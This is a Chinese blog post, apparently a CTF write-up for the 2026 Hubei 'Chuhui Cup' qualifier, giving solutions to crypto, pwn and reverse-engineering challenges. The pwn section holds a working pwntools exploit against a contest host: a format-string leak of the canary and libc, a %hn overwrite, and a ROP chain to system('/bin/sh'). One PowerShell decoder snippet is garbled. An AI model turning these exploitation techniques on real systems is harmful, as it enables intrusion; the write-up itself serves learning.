{"id":2998,"date":"2026-03-11T17:20:48","date_gmt":"2026-03-11T09:20:48","guid":{"rendered":"https:\/\/www.sanjiuctf.com\/?p=2998"},"modified":"2026-03-22T19:24:34","modified_gmt":"2026-03-22T11:24:34","slug":"2026%e7%ac%ac%e5%8d%81%e5%b1%8a%e6%a5%9a%e6%85%a7%e6%9d%af%e6%b9%96%e5%8c%97%e7%9c%81%e7%bd%91%e7%bb%9c%e4%b8%8e%e6%95%b0%e6%8d%ae%e5%ae%89%e5%85%a8%e5%ae%9e%e8%b7%b5%e8%83%bd","status":"publish","type":"post","link":"https:\/\/www.sanjiuctf.com\/?p=2998","title":{"rendered":"2026\u7b2c\u5341\u5c4a\u201c\u695a\u6167\u676f\u201d\u6e56\u5317\u7701\u7f51\u7edc\u4e0e\u6570\u636e\u5b89\u5168\u5b9e\u8df5\u80fd\u529b\u7ade\u8d5b\u521d\u8d5bwp"},"content":{"rendered":"\n

\u524d\u8a00<\/h1>\n\n\n\n

\u7b2c\u4e00\u6b21\u53c2\u52a0\u6e56\u5317\u7701\u7684\u7701\u8d5b \u8bb0\u5f55\u4e00\u4e0b\u5427,\u8fdb\u5165\u51b3\u8d5b\u4e86\uff0c\u4f46\u662f\u5c31\u6211\u4e00\u4e2a\u89e3\u554a\uff0c\u6839\u672c\u89e3\u4e0d\u5b8c\uff0c\u800c\u4e14\u4e00\u4e2a\u4eba\u53bb\u6e56\u5317\uff0c\u82b1\u9500\u5f88\u5927\u7684\uff0c\u611f\u89c9\u6ca1\u6709\u5fc5\u8981\u53bb\uff0c\u6240\u4ee5\u51c6\u5907\u5f03\u8d5b\u4e86<\/p>\n\n\n\n

\u6bd4\u8d5b\u65f6\u95f4:2026-03-10 13:30:00~2026-03-10 17:30:00<\/p>\n\n\n\n

\u89e3\u9898\u60c5\u51b5<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n
\u597d\u50cf\u526920\u5206\u949f \u653e\u9898 \u53ea\u80fd\u8bf4\u65e0\u8bed\u4e86\n\u8fd9\u4e48\u77ed\u7684\u65f6\u95f4\u89e3... \n\u5410\u69fd\u4e00\u4e0b \u8fd8\u6709\u4e3a\u4ec0\u4e48Pwn\u53ea\u6709\u4e00\u9053\u9898\u76ee \u9006\u5411\u53ea\u6709\u4e24\u9053\u9898\u76ee \u800c\u4e14\u4e0d\u96be \u6b63\u5e38\u4e0d\u5e94\u8be5\u90fd\u662f\u5747\u5206\u5417? Misc 5\u9053\u9898\u76ee....   \u91cc\u9762\u7684\u5185\u5e55\u6211\u4eec\u4e0d\u77e5\u9053\n\u800c\u4e14\u524d\u9762\u90fd\u662f\u5c01\u53f7 \u540e\u9762\u76f4\u63a5\u8b66\u544a\u4e86 \u8fd9\u662f\u4e3a\u4ec0\u4e48? \u54b3\u54b3\u54b3 \u5c31\u5f53\u6211\u6ca1\u6709\u8bf4\u5566!<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u524d\u9762\u5168\u662f\u5168\u89e3\u7684 \u5443\u5443\u5443\u5443\u5443 \u90fd\u662f\u6e56\u5317\u7684 \u8fd8\u6709 \u63d0\u4ea4{} \u91cc\u9762\u7684\u5185\u5bb9 \u5443\u5443\u5443\u5443 \u597d\u5427\u5c31\u602a\u6211\u6ca1\u6709\u770b\u5230\u5427\u89e3\u51fa\u6765\u63d0\u4ea4\u4e86\u597d\u51e0\u6b21 \u54b3\u54b3\u54b3<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7b7e\u5230\u9898<\/h1>\n\n\n\n
\u3010\u586b\u7a7a\u98981\u3011<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5728\u4eba\u5de5\u667a\u80fd\u548c\u673a\u5668\u5b66\u4e60\u9886\u57df\uff0c\u5bf9\u6297\u6837\u672c\u662f\u6307\u5728\u539f\u59cb\u6570\u636e\uff08\u5982\u56fe\u50cf\u3001\u6587\u672c\u6216\u97f3\u9891\uff09\u4e2d\uff0c\u901a\u8fc7\u4eba\u4e3a\u6545\u610f\u6dfb\u52a0\u7ec6\u5fae\u7684\u3001\u901a\u5e38\u662f\u8089\u773c\u96be\u4ee5\u5bdf\u89c9\u7684\u6270\u52a8\uff08\u566a\u58f0\uff09\uff0c\u4ece\u800c\u5bfc\u81f4\u667a\u80fd\u7b97\u6cd5\uff08\u5982\u6df1\u5ea6\u795e\u7ecf\u7f51\u7edc\uff09\u4ea7\u751f\u9519\u8bef\u5206\u7c7b\u6216\u9884\u6d4b\u7ed3\u679c\u7684\u6837\u672c\u3002\u8fd9\u7c7b\u6280\u672f\u5e38\u7528\u4e8e\u8bc4\u4f30\u6a21\u578b\u7684\u9c81\u68d2\u6027\u6216\u8fdb\u884c\u5b89\u5168\u653b\u51fb\u6d4b\u8bd5\u3002<\/code><\/pre>\n\n\n\n
\u5bf9\u6297\u6837\u672c<\/code><\/pre>\n\n\n\n
\u3010\u586b\u7a7a\u98982\u3011<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5b8c\u6574\u7684\u6807\u51c6\u540d\u79f0\u4e3a\uff1aISO\/SAE 21434 \u300a\u9053\u8def\u8f66\u8f86\u2014\u7f51\u7edc\u5b89\u5168\u5de5\u7a0b\u300b\uff08Road vehicles \u2014 Cybersecurity engineering\uff09\u3002<\/code><\/pre>\n\n\n\n
21434<\/code><\/pre>\n\n\n\n
\u3010\u586b\u7a7a\u98983\u3011<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5b8c\u6574\u7684\u53e5\u5b50\u4e3a\uff1a\u7269\u8054\u7f51\u8bbe\u5907\u7684\u5bc6\u94a5\u7ba1\u7406\u662f\u5b89\u5168\u9632\u62a4\u7684\u5173\u952e\u73af\u8282\u2026\u2026<\/code><\/pre>\n\n\n\n
\u5bc6\u94a5<\/code><\/pre>\n\n\n\n
Crypto<\/h1>\n\n\n\n
Flip<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u9898\u76ee\u4e3a ElGamal\/DSA \u7b7e\u540d\u53d8\u4f53\u3002\u5728\u751f\u6210\u7b7e\u540d\u6240\u9700\u7684\u968f\u673a\u6570 k \u65f6\uff0c\u8c03\u7528\u4e86 flip(256)\u3002\u8be5\u51fd\u6570\u6bcf\u6b21\u751f\u6210\u7684 32 \u5b57\u8282\u4e2d\uff0c\u6bcf\u4e2a\u5b57\u8282\u7684\u524d 5 \u4e2a\u6bd4\u7279\u88ab\u56fa\u5b9a\u4e3a 10101\uff08\u5373\u5341\u8fdb\u5236 168\uff09\uff0c\u4ec5\u540e 3 \u4e2a\u6bd4\u7279\u662f\u968f\u673a\u7684\u3002\u8fd9\u662f\u4e00\u4e2a\u5178\u578b\u7684\u9690\u85cf\u6570\u95ee\u9898\uff08HNP\uff09\u3002\u901a\u8fc7\u5df2\u77e5\u7684\u9ad8\u4f4d\u7279\u5f81\uff0c\u8054\u7acb 5 \u7ec4\u7b7e\u540d\u65b9\u7a0b\u6d88\u9664\u79c1\u94a5 d\uff0c\u6211\u4eec\u53ef\u4ee5\u6784\u9020\u4e00\u4e2a\u7ef4\u5ea6\u4e3a 165 \u7684\u77e9\u9635\uff0c\u5229\u7528 LLL \u7b97\u6cd5\u8fdb\u884c\u683c\u57fa\u89c4\u7ea6\uff0c\u5373\u53ef\u6c42\u51fa\u88ab\u9690\u85cf\u7684\u4f4e\u4f4d\u968f\u673a\u6570\uff0c\u8fd8\u539f k_0 \u5e76\u89e3\u51fa\u79c1\u94a5\uff08flag\uff09\u3002<\/code><\/pre>\n\n\n\n
exp.py<\/p>\n\n\n\n
from Crypto.Util.number import long_to_bytes, inverse\nfrom sage.all import *\n\np = 71100374110712069688668891376502810245640088780564855438789152163485489371751\nsigs = [\n    (28285613871231310640779639473901158789539111552315215487796222768188014946190, 26227626146853365468070394748025813676883717455365705026242089396817666141149), \n    (26126343100952318312992351606027346470307966676167073519850533997742307763173, 14620119507969980035515863104967829444815591632534197769232561325577348982289), \n    (6275780641102104914321094704687354889900656957520025439748906503860424049255, 17138154832682193571532283943639841813795519294633367500729430287205754722383), \n    (70074830218018060401156682458161679247596227822712273801560023880579237944207, 7241759400261146571231207923652617524886465143836459562831120970876560955603), \n    (58010164614616186321967235608825740148005793483553468415042960153988671899689, 11042506367122208018546854524444698969622593890076172637272391555458027253012)\n]\n\nK_base = sum(168 * (2**(8*j)) for j in range(32))\nS = sum(3 * (2**(8*j)) for j in range(32))\n\nA, B = [], []\nfor i in range(5):\n    r, s = sigs[i]\n    s_inv = inverse_mod(s, p)\n    A.append((s_inv * r) % p)\n    B.append((i * s_inv) % p)\n\nA0_inv = inverse_mod(A[0], p)\nC, D, E, F = [], [], [], []\nfor i in range(5):\n    C.append((A[i] * A0_inv) % p)\n    D.append((B[i] - C[i] * B[0]) % p)\n    E.append((D[i] - K_base + C[i] * K_base) % p)\n    F.append((E[i] - S + C[i] * S) % p)\n\nN = 165\nM = Matrix(ZZ, N, N)\nK_weight = 2**256  \n\nfor i in range(5):\n    for j in range(32):\n        r_idx = i * 32 + j\n        M[r_idx, r_idx] = 1\n        if i == 0:\n            for eq in range(1, 5):\n                val = (-C[eq] * (2**(8*j))) % p\n                M[r_idx, 160 + eq - 1] = val * K_weight\n        else:\n            eq = i\n            val = (2**(8*j)) % p\n            M[r_idx, 160 + eq - 1] = val * K_weight\n\nfor eq in range(1, 5):\n    M[160 + eq - 1, 160 + eq - 1] = p * K_weight\n\nM[164, 164] = 1\nfor eq in range(1, 5):\n    val = (-F[eq]) % p\n    M[164, 160 + eq - 1] = val * K_weight\n\nL = M.LLL()\n\nfor row in L:\n    if abs(row[164]) == 1:\n        if all(row[160+eq-1] == 0 for eq in range(1, 5)):\n            if row[164] == -1:\n                row = -row\n\n            k0 = K_base\n            for j in range(32):\n                y_0j = row[j]\n                x_0j = y_0j + 3\n                k0 += x_0j * (2**(8*j))\n\n            r0, s0 = sigs[0]\n            d = ((s0 * k0) * inverse_mod(r0, p)) % p\n            d_bytes = long_to_bytes(d)\n\n            flag_inner = b\"\"\n            for b in d_bytes:\n                if 32 <= b <= 126:\n                    flag_inner += bytes([b])\n                else:\n                    break\n\n            print(\"DASCTF{\" + flag_inner.decode() + \"}\")\n            break<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u53ea\u9700\u8981\u660e\u6587\u5c31\u884c<\/p>\n\n\n\n
Just_f3w_Bit5_fl1pp1ng<\/code><\/pre>\n\n\n\n
GCD\uff0c\u6760\u4e0a\u4e86<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8003\u70b9<\/strong><\/p>\n\n\n\n
\u591a\u9879\u5f0f\u8fd1\u4f3c\u6700\u5927\u516c\u7ea6\u6570 (ACD)<\/p>\n\n\n\n
LLL \u683c\u89c4\u7ea6\u7b97\u6cd5<\/p>\n\n\n\n
\u539f\u7406<\/strong>
$$
\u5206\u6790\u6839\u636e\u52a0\u5bc6\u811a\u672c\uff0c\u5df2\u77e5\u751f\u6210\u903b\u8f91\u4e3a x_i = p cdot q_i + e_i\u3002
$$<\/p>\n\n\n\n
$$
\u5df2\u77e5 p \u7684\u957f\u5ea6\u4e3a 768 bits\uff0c\u8bef\u5dee e_i \u957f\u5ea6\u7ea6\u4e3a 256 bits\u3002\u7531\u4e8e e_i \u8fdc\u5c0f\u4e8e x_i\uff0c\u8fd9\u662f\u4e00\u9053\u5178\u578b\u7684\u8fd1\u4f3c\u6700\u5927\u516c\u7ea6\u6570\uff08ACD\uff09\u95ee\u9898\u3002
$$<\/p>\n\n\n\n
$$
\u901a\u8fc7\u4ea4\u53c9\u76f8\u4e58\u6d88\u9664 p\u3001\uff0c\u53ef\u5f97 q_0 x_i – q_i x_0 = q_0 e_i – q_i e_0\u3002
\u6784\u9020\u5982\u4e0b\u6b63\u4ea4\u683c\u77e9\u9635 M\uff0c\u4ee5\u6743\u91cd 2^{256} \u5bf9\u9f50\u6570\u636e\u91cf\u7ea7\uff1a
$$<\/p>\n\n\n\n
$$
M = begin{pmatrix} 2^{256} & x_1 & x_2 & x_3 0 & -x_0 & 0 & 0 0 & 0 & -x_0 & 0 0 & 0 & 0 & -x_0 end{pmatrix}
$$<\/p>\n\n\n\n
\u5bf9\u77e9\u9635\u8fdb\u884c LLL \u89c4\u7ea6\u540e\uff0c\u5728\u6700\u77ed\u5411\u91cf\u4e2d\u63d0\u53d6\u51fa
$$
q_0\uff0c\u5229\u7528 x_0 = p cdot q_0 + e_0 \u53cd\u6c42\u51fa p
$$
\u6700\u540e\u6309\u7167\u9898\u76ee\u8981\u6c42\u62fc\u63a5 SHA256 \u5373\u53ef\u5f97\u5230 flag\u3002<\/p>\n\n\n\n
exp.py<\/p>\n\n\n\n
import hashlib\n\nx0 = 7286602644894347905698877185006886062766603336098651145708618257426896498601438194818405176376998357154846239925108795918211744886731571266744871908463835351995189784312085830285088365342080806811314047882453402592133074499069282870744236160215512216478789267594028132748508140080189837224089073913522991827904722259140858601642592466315776021315586438508197663608590812749450817365064347439560883042009204050351693713820588889060849655679914847278675752145553961823946981967169055185529737402521407509263021789077125016742255715760\nx1 = 5230952259217719373451288600605694729007492237169927997823214951918450708970497355235418799314073627589124050832789070592194142892137496197782948844507440729494129127326826986001351848921996887252514377638280576136864865587600778883326741625167048874313825133026683820914940523608112111525189712638841735445342804486682657815023936771511350194415118747576763915047759919721983363867337811246200882629774305946208917774071048260034384488337583881876926649372038650806406479863141932268756290007122767070707541568217633666823942767630\nx2 = 6634396750920568285608095346195329118689097605994669634518316951192506731923068736273476052320642960726963932454848348066913054010051606781532862880707753022193473836326795829631429615685808176184842533562632931011621810840291571855376807721443083529317792844472049240727433533493468591987710033174905312247446273166915934371589745530975428330655972863314230695429710915699801228301493075605786710443768747383021956670013493099376120239576125225920151034511467122583704756994064073049424978126007943448882667862038745782477628408003\nx3 = 5206967518961960112660221968771713864784691153181370679825018817838185859421615186098940654940704354246503769468859488659689494119991783464734247926184421441233523723102514720513272413216800777125028472595562428391474002300021110853098159434700293331046532929525141162455736314162160456306022511785772125837018470201639642987557826155895644564724745314165471429499074795110110906392223770428469036209454246746770408469494816865235942622698472278595153047673886819995225231883995391098290313071949911543891398398297286813045525879691\n\nK = 2**256\nM = matrix(ZZ, [\n    [K, x1, x2, x3],\n    [0, -x0, 0, 0],\n    [0, 0, -x0, 0],\n    [0, 0, 0, -x0]\n])\n\nreduced_basis = M.LLL()\n\nfor row in reduced_basis:\n    if row[0] != 0 and row[0] % K == 0:\n        q0 = abs(row[0]) \/\/ K\n        p_candidate = (x0 + q0 \/\/ 2) \/\/ q0\n\n        if p_candidate.nbits() == 768:\n            p = int(p_candidate)\n            flag_hash = hashlib.sha256(hex(p).encode()).hexdigest()[:32]\n            print(f\"DASCTF{{{flag_hash}}}\")\n            break<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6ca1\u6709\u683c\u5f0f<\/p>\n\n\n\n
\u7b54\u6848\u662f\u8fd9\u4e2a<\/p>\n\n\n\n
eead8ea2b3519a2273a5292375e31009<\/code><\/pre>\n\n\n\n
Pwn<\/h1>\n\n\n\n
house_1<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u9644\u4ef6\u5185\u5bb9<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
nc<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8003\u70b9<\/strong><\/p>\n\n\n\n
\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e\uff08\u4efb\u610f\u8bfb\u3001\u4efb\u610f\u5199\uff09\n\u6808\u6ea2\u51fa\u6f0f\u6d1e \nCanary \u4e0e PIE \u4fdd\u62a4\u7ed5\u8fc7 \n\u7be1\u6539\u5168\u5c40\u53d8\u91cf\u6269\u5927\u8bfb\u53d6\u957f\u5ea6<\/code><\/pre>\n\n\n\n
\u4fe1\u606f\u6cc4\u9732<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5229\u7528\u9009\u9879 2 (`sub_135E`) \u5b58\u5728\u7684\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e `printf(buf)` \uff0c\u76f4\u63a5\u6253\u5370\u51fa\u6808\u4e0a\u7684 Canary\u3001PIE \u57fa\u5740\uff08\u7528\u4e8e\u8ba1\u7b97\u7a0b\u5e8f\u57fa\u5740\uff09\u4ee5\u53ca libc \u5185\u90e8\u5730\u5740\uff08\u7528\u4e8e\u8ba1\u7b97 libc \u57fa\u5740\uff09\u3002\n\n\u7be1\u6539\u5168\u5c40\u53d8\u91cf\uff1a\n\u518d\u6b21\u8c03\u7528\u9009\u9879 2\uff0c\u5229\u7528\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u7684\u4efb\u610f\u5199\u529f\u80fd\uff08\u5982 `%hn`\uff09\uff0c\u5c06\u63a7\u5236\u9009\u9879 3 \u8bfb\u53d6\u957f\u5ea6\u7684\u5168\u5c40\u53d8\u91cf `nbytes`  \u4ece\u9ed8\u8ba4\u7684 `0x20` \u6539\u5199\u4e3a\u4e00\u4e2a\u8f83\u5927\u7684\u503c\uff08\u5982 `0x200`\uff09\n\nROP \u52ab\u6301\uff1a\n\u8c03\u7528\u9009\u9879 3 (`sub_12E5`)\uff0c\u6b64\u65f6 `read` \u51fd\u6570\u5141\u8bb8\u8bfb\u5165\u7684\u6570\u636e\u957f\u5ea6\u5df2\u8fdc\u8d85\u5c40\u90e8\u53d8\u91cf `buf` \u7684\u5927\u5c0f (`0x50` \u5b57\u8282) \u3002\u5411\u5176\u4e2d\u5199\u5165 padding\u3001\u6cc4\u9732\u51fa\u7684 Canary \u539f\u503c \uff0c\u5e76\u5728\u8fd4\u56de\u5730\u5740\u5904\u5e03\u7f6e ROP \u94fe\uff0c\u6700\u7ec8\u6267\u884c `system(\"\/bin\/sh\")`<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
exp.py<\/p>\n\n\n\n
from pwn import *\n\nexe = ELF(\".\/pwn\")\nlibc = ELF(\".\/libc.so.6\")\ncontext.binary = exe\n\ndef conn():\n    return remote(\"45.40.247.139\", 17730)\n\ndef main():\n    r = conn()\n\n    def change_name(name):\n        r.sendlineafter(b\">> \", b\"2\")\n        r.sendafter(b\"Please write your name:n\", name)\n        r.recvuntil(b\"the name is:n\")\n        return r.recvline()\n\n    def edit_house(content):\n        r.sendlineafter(b\">> \", b\"3\")\n        r.sendafter(b\"Please write your contentn\", content)\n\n    leak = change_name(b\"%13$p|%15$p|%21$p|\")\n    leaks = leak.strip().split(b\"|\")\n\n    canary = int(leaks[0], 16)\n    pie_leak = int(leaks[1], 16)\n    libc_leak = int(leaks[2], 16)\n\n    exe.address = pie_leak - 0x147C\n    libc.address = libc_leak - (libc.sym['__libc_start_main'] + 243)\n\n    nbytes_addr = exe.address + 0x4010\n\n    payload = b\"%512c%8$hn\".ljust(16, b'a') + p64(nbytes_addr)\n    change_name(payload)\n\n    rop = ROP(libc)\n    rop.raw(rop.ret)\n    rop.system(next(libc.search(b\"\/bin\/shx00\")))\n\n    exploit = b\"A\" * 72\n    exploit += p64(canary)\n    exploit += b\"B\" * 8 \n    exploit += rop.chain()\n\n    edit_house(exploit)\n    r.interactive()\n\nif __name__ == \"__main__\":\n    main()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
COngratu1at1ons_ON_Get1ing_The_R1ght_HOUse<\/code><\/pre>\n\n\n\n
REVERSE<\/h1>\n\n\n\n
\u773c\u89c1\u4e3a\u865a_1<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u9644\u4ef6<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u901a\u8fc7IDA\u5b9a\u4f4d\u5230\u4e3b\u51fd\u6570 sub_401522 \u63a5\u6536\u8f93\u5165\uff0c\u6700\u540e\u5728 sub_402B68 \u8fdb\u884c\u5bc6\u6587\u6bd4\u5bf9\u3002\u4e2d\u95f4\u7684\u52a0\u5bc6\u8fc7\u7a0b\u4e3b\u8981\u7531\u4ee5\u4e0b\u51e0\u4e2a\u51fd\u6570\u6784\u6210\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
sub_402A18\uff08\u5bc6\u94a5\u6d41\u751f\u6210\uff09\uff1a\u5185\u90e8\u662f\u4e00\u4e2a\u9b54\u6539\u7684TEA\u7b97\u6cd5\uff08\u5e26\u6709\u7279\u6b8a\u7684\u51cf\u6cd5\uff09\u3002\u4f46\u5b83\u4e0d\u52a0\u5bc6\u7528\u6237\u7684\u8f93\u5165\uff0c\u800c\u662f\u5bf9\u5185\u7f6e\u7684\u4e24\u4e2a\u5e38\u91cf\u8fdb\u884c32\u8f6e\u8fd0\u7b97\uff0c\u751f\u6210\u4e00\u4e2a\u56fa\u5b9a\u76848\u5b57\u8282\u5bc6\u94a5\u6d41\uff08KeyStream\uff09\u3002<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
sub_402D4C\uff08\u969c\u773c\u6cd5\uff09\uff1a\u4f2a\u4ee3\u7801\u663e\u793a\u5bf9\u8f93\u5165\u7684\u6bcf\u4e2a\u5b57\u7b26 + 22\u3002\u8fd9\u662f\u9898\u76ee\u7ed9\u7684\u5047\u5206\u652f\uff0c\u52a8\u6001\u8fd0\u884c\u4e2d\u88ab\u7ed5\u8fc7\u6216\u672a\u5b9e\u9645\u751f\u6548\u3002<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
sub_402AFC\uff08\u771f\u5b9e\u52a0\u5bc6\uff09\uff1a\u5c06\u8f93\u5165\u4e0e\u524d\u9762\u751f\u6210\u76848\u5b57\u8282\u5bc6\u94a5\u6d41\u8fdb\u884c\u5faa\u73af\u5f02\u6216\u3002\u5f02\u6216\u7684\u6761\u4ef6\u662f\u5bc6\u94a5\u6d41\u7684\u6bcf\u4e2a\u5b57\u8282\u5148 + 27\u3002<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7a0b\u5e8f\u4e3b\u903b\u8f91\u5728 sub_401522\uff0c\u6700\u7ec8\u6bd4\u5bf9\u51fd\u6570\u4e3a sub_402B68\u3002\n\u5728 sub_402B68 \u4e2d\uff0c\u7528\u6237\u8f93\u5165\u88ab\u5904\u7406\u4e3a 40 \u5b57\u8282\u5927\u5c0f\uff0c\u5e76\u4e0e\u5185\u90e8\u6570\u7ec4 v2 \u9010\u5b57\u8282\u6bd4\u8f83\u3002v2 \u6570\u7ec4\u7684 10 \u4e2a _DWORD \u5e38\u91cf\u5c31\u662f\u771f\u5b9e\u5bc6\u6587\u3002IDA\u4e2d\u663e\u793a\u6709\u8d1f\u6570\uff0c\u8f6c\u4e3a\u65e0\u7b26\u53f7 32 \u4f4d\u6574\u6570\u5e76\u6309\u5c0f\u7aef\u5e8f\u62fc\u63a5\u540e\uff0c\u63d0\u53d6\u5230\u771f\u5b9e\u5bc6\u6587Hex\uff1a\n3356E8016F84E4A343738E265EF0FDA11575882008A4A6A5157588235DF0FAF04171DE7509A1F9E8<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u89e3\u5bc6\u601d\u8def<\/p>\n\n\n\n
\u771f\u5b9e\u7684\u52a0\u5bc6\u903b\u8f91\u4ec5\u4e3a sub_402AFC \u51fd\u6570\u4e2d\u7684\u6eda\u52a8\u5f02\u6216\uff1acipher[i] = flag[i] ^ (KeyStream[i % 8] + 27)\u3002\n\u63d0\u53d6\u5bc6\u6587\uff1a\u76f4\u63a5\u4ece sub_402B68 \u63d0\u53d6 v2 \u6570\u7ec4\u768410\u4e2a32\u4f4d\u6574\u6570\uff0c\u6309\u5c0f\u7aef\u5e8f\u8f6c\u6362\u63d0\u53d6\u51fa 40 \u5b57\u8282\u5bc6\u6587\u3002\n\u63d0\u53d6\u771f\u5b9e\u5bc6\u94a5\u6d41\uff1a\u901a\u8fc7\u52a8\u8c03 sub_402AFC\uff0c\u4ece\u5185\u5b58\u4e2dDump\u51fa\u771f\u5b9e\u8fd0\u884c\u65f6\u76848\u5b57\u8282\u5bc6\u94a5\u6d41 5CFCA02720A7847A\u3002\n\u8fd8\u539f\uff1a\u5bc6\u6587\u4e0e\u771f\u5b9e\u5bc6\u94a5\u6d41\uff08\u6bcf\u5b57\u8282\u52a027\u540e\uff09\u6309\u4f4d\u5f02\u6216\u3002<\/code><\/pre>\n\n\n\n
exp.py<\/p>\n\n\n\n
import struct\n\ndef main():\n    v2 = [\n        32003635, -1545304977, 646869827, -1577193378,\n        545813781, -1515805688, 596145429, -251989923,\n        1977512257, -386293495\n    ]\n\n    cipher = b\"\"\n    for x in v2:\n        cipher += struct.pack(\"<I\", x & 0xFFFFFFFF)\n\n    keystream = bytes.fromhex(\"5CFCA02720A7847A\")\n\n    flag = bytearray()\n    for i in range(len(cipher)):\n        c = cipher[i]\n        k = (keystream[i % 8] + 27) & 0xFF\n        flag.append(c ^ k)\n\n    print(flag.decode('utf-8'))\n\nif __name__ == '__main__':\n    main()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
64d5de2b4bb3b3f90bb3af2ee6fe72cf<\/code><\/pre>\n\n\n\n
eazy_code-new<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u9898\u76ee\u7ed9\u51fa\u7684\u662f\u4e00\u6bb5\u9ad8\u5ea6\u6df7\u6dc6\u7684 PowerShell<\/strong> \u811a\u672c\uff0c\u5229\u7528\u53d8\u91cf\u81ea\u589e\u548c\u5b57\u7b26\u7d22\u5f15\u6784\u5efa\u6838\u5fc3\u903b\u8f91 \u3002\u901a\u8fc7\u5206\u6790\u5176\u53d8\u91cf\u5b9a\u4e49\u89c4\u5f8b\uff0c ${!;*}<\/code> \u7b49\u4ef7\u4e8e 1<\/code>\uff0c${]}<\/code> \u7b49\u4ef7\u4e8e 0<\/code> \u3002\u8be5\u811a\u672c\u6700\u7ec8\u901a\u8fc7 IEX<\/code> \u6267\u884c\u4e00\u6bb5\u7531 ASCII \u7801\u62fc\u63a5\u6210\u7684 Python \u4ee3\u7801 \u3002<\/p>\n\n\n\n
PowerShell \u8fd8\u539f\u811a\u672c\uff1a<\/p>\n\n\n\n
`}':3,'${ ]}':4,'${!}':5,'${#.}':6,'${(}':7,'${)``}':8,'${``*%}':9} d = re.search(r'${@*} = \"(.*?)\"', c, re.S).group(1) for s, v in m.items(): d = d.replace(s, str(v)) print(\"\".join([chr(int(b.replace('${$%}',''))) for b in d.split('+') if b])) p_de('1.txt')<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
class chiper():\n    def __init__(self):\n        self.d = 0x87654321\n        k0 = 0x67452301\n        k1 = 0xefcdab89\n        k2 = 0x98badcfe\n        k3 = 0x10325476\n        self.k = [k0, k1, k2, k3]\n\n    def e(self, n, v):\n        from ctypes import c_uint32\n\n        def MX(z, y, total, key, p, e):\n            temp1 = (z.value >> 6 ^ y.value << 4) + \n                (y.value >> 2 ^ z.value << 5)\n            temp2 = (total.value ^ y.value) + \n                (key[(p & 3) ^ e.value] ^ z.value)\n            return c_uint32(temp1 ^ temp2)\n        key = self.k\n        delta = self.d\n        rounds = 6 + 52\/\/n\n        total = c_uint32(0)\n        z = c_uint32(v[n-1])\n        e = c_uint32(0)\n\n        while rounds > 0:\n            total.value += delta\n            e.value = (total.value >> 2) & 3\n            for p in range(n-1):\n                y = c_uint32(v[p+1])\n                v[p] = c_uint32(v[p] + MX(z, y, total, key, p, e).value).value\n                z.value = v[p]\n            y = c_uint32(v[0])\n            v[n-1] = c_uint32(v[n-1] + MX(z, y, total,\n                              key, n-1, e).value).value\n            z.value = v[n-1]\n            rounds -= 1\n        return v\n\n    def bytes2ints(self,cs:bytes)->list:\n        new_length=len(cs)+(8-len(cs)%8)%8\n        barray=cs.ljust(new_length,b'x00')\n        i=0\n        v=[]\n        while i < new_length:\n            v0 = int.from_bytes(barray[i:i+4], 'little')\n            v1 = int.from_bytes(barray[i+4:i+8], 'little')\n            v.append(v0)\n            v.append(v1)\n            i += 8\n        return v\n\ndef check(instr:str,checklist:list)->int:\n    length=len(instr)\n    if length%8:\n        print(\"Incorrect format.\")\n        exit(1)\n    c=chiper()\n    v = c.bytes2ints(instr.encode())\n    output=list(c.e(len(v),v))\n    i=0\n    while(i<len(checklist)):\n        if i<len(output) and output[i]==checklist[i]:\n            i+=1\n        else:\n            break\n    if i==len(checklist):\n        return 1\n    return 0\n\nif __name__==\"__main__\":\n    ans=[1374278842, 2136006540, 4191056815, 3248881376]\n    # generateRes()\n    flag=input('Please input flag:')\n    res=check(flag,ans)\n    if res:\n        print(\"Congratulations, you've got the flag!\")\n        print(\"Flag is DASCTF{your_input}!\")\n        exit(0)\n    else:\n        print('Nope,try again!')<\/code><\/pre>\n\n\n\n
\u7b97\u6cd5\u5206\u6790<\/p>\n\n\n\n
\u8fd8\u539f\u540e\u7684\u4ee3\u7801\u662f\u4e00\u4e2a\u9b54\u6539\u540e\u7684 XXTEA<\/strong> \u7b97\u6cd5 \uff1a<\/p>\n\n\n\n
Delta: 0x87654321\nKey: [0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476]\nCiphertext: [1374278842, 2136006540, 4191056815, 3248881376]<\/code><\/pre>\n\n\n\n
